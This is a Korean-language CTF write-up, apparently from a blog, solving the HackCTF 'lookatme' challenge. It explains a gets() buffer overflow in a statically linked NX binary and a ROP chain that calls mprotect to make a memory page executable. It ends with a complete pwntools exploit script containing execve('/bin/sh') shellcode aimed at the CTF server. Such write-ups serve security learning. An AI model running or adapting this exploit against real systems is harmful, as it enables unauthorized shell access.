# 보호기법 확인
신경써야 할 보호기법은 NX인데, NX가 걸려있어서 쉘코드를 실행하지 못한다.
# pseudo code
look_at_me() 함수의 gets() 함수에서 BOF 취약점이 발생한다.
입력버퍼의 크기와 상관없이 입력받을 수 있어서 return address를 변조할 수 있다.
간단하지만 아래의 사항을 확인해보면 간단하지 않다.
# process
ldd 명령어로 libc 파일을 확인하려는데 없다고 출력된다.
file 명령어로 파일 상태 정보를 확인해보면 일반적인 dynamically linked binary file이 아닌 statically linked binary file이다.
statically linked 바이너리는 바이너리 내부에 함수들이 있다.
따라서 이렇게 system 함수가 바이너리에 없을 수도 있는 것이다.
execute 함수도 없어서 쉘코드를 사용해야 하는데 실행권한이 없다.
이럴 때 사용할 수 있는 것이 mprotect 함수를 사용하는 것이다.
쓸 수 있는 영역(보통 bss 영역을 많이 쓴다.)에 쉘코드를 쓰고,
해당 영역 범위가 포함되도록 mprotect 함수로 실행권한을 주면 쉘코드를 실행해서 쉘을 딸 수 있다.
첫 번째 인자 : 실행권한 부여할 주소 (이 문제에서는 bss 섹션의 주소에 실행권한을 주고 싶으므로 특정 bss 섹션 주소를 준다.)
– 이 시작위치의 주소 값이 0x1000의 배수여야 한다. (페이지의 경계에 맞춰야 함)
따라서 .got.plt 영역의 0x80ea000이 조건에 맞으므로 이 주소를 시작주소로 사용하겠다.
두 번째 인자 : 사이즈 (addr ~ addr + len - 1까지 특정 권한이 부여된다.)
- 0x80ea000부터 권한을 부여해서 0x80eaf80 + a 까지 권한이 부여되면 되는데, 0x1000 면 적당할 것 같아서 0x1000으로 준다.
세 번째 인자 : 사용 권한 NONE, READ, WRITE, EXEC 실행권한을 주고 싶으므로 EXEC에 해당하는 수를 세번째 인자 값으로 주면 된다. 8진수로 RWX 각각 있으면 1, 없으면 0을 나타내는데, 이를 10진수로 바꾼 값을 넣는다.
- RWX 111 => 7 을 권한으로 준다.
각 함수마다 인자를 전달해야 하므로 ROP gadget을 사용한다.
$objdump -d lookatme | grep -B3 "ret"
pop; ret gadget : 0x80b8b9d -> gets() 함수 인자 1개
pop; pop; pop; ret : 0x80b8b9b -> mprotect() 함수 인자 1개
# exploit code
#!/usr/bin/python
from pwn import *
#p = process("./lookatme")
p = remote("ctf.j0n9hyun.xyz", 3017)
elf = ELF("./lookatme")
addr = 0x80ea000
size = 0x1000
prot = 0x7
gets_plt = elf.symbols['gets']
mprotect_plt = elf.symbols['mprotect']
p1ret = 0x80b8b9d
p3ret = 0x80b8b9b
bss = elf.bss()
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
pay = 'A'*(0x18 + 0x4)
pay += p32(gets_plt)
pay += p32(p1ret)
pay += p32(bss)
pay += p32(mprotect_plt)
pay += p32(p3ret)
pay += p32(addr)
pay += p32(size)
pay += p32(prot)
pay += p32(bss)
p.recv()
p.sendline(pay)
p.sendline(shellcode)
p.interactive()
# exploit
[HackCTF] pwning (0) | 2020.01.15 |
---|---|
[HackCTF] Gift (0) | 2020.01.12 |
[HackCTF] 1996 (0) | 2020.01.08 |
[HackCTF] RTL_Core (0) | 2020.01.08 |
[HackCTF] g++pwn (0) | 2020.01.08 |